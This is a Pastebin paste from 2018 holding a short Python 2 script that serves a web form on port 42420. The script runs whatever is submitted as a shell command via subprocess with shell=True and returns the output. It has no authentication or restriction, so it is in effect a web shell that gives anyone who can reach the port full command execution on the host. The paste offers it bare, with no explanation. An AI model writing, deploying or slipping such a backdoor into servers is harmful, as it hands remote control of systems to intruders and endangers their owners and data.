daily pastebin goal
65%
SHARE
TWEET

Untitled

a guest Dec 11th, 2018 54 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
  2.  
  3. class S(BaseHTTPRequestHandler):
  4.     def _set_headers(self):
  5.         self.send_response(200)
  6.         self.send_header('Content-type', 'text/html')
  7.         self.end_headers()
  8.  
  9.     def _write_form(self, q):
  10.         self.wfile.write('<form method="post"><textarea rows="2" cols="80" name="q" value="'+q+'"></textarea><br><br><input type="submit" value="do"></form>')
  11.  
  12.     def do_GET(self):
  13.         self._set_headers()
  14.         self.wfile.write("<html><body><center>")
  15.         self._write_form('')
  16.         self.wfile.write("</center></body></html>")
  17.  
  18.     def do_POST(self):
  19.         import subprocess
  20.         import string
  21.         import urllib
  22.         self._set_headers()
  23.  
  24.         content_length = int(self.headers['Content-Length'])
  25.         post_data = self.rfile.read(content_length)
  26.         cmd = string.replace(post_data, 'q=', '', 1)
  27.         cmd = string.replace(cmd, '+', ' ')
  28.         cmd = urllib.unquote(cmd).decode('utf8')
  29.         out = subprocess.check_output(cmd, shell=True)
  30.  
  31.         self.wfile.write("<html><body><center>")
  32.         self._write_form(cmd)
  33.         self.wfile.write("</center>")
  34.         self.wfile.write(string.replace(out, '\n', '<br/>'))
  35.         self.wfile.write("</body></html>")
  36.  
  37. if __name__ == "__main__":
  38.     httpd = HTTPServer(('', 42420), S)
  39.     httpd.serve_forever()
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top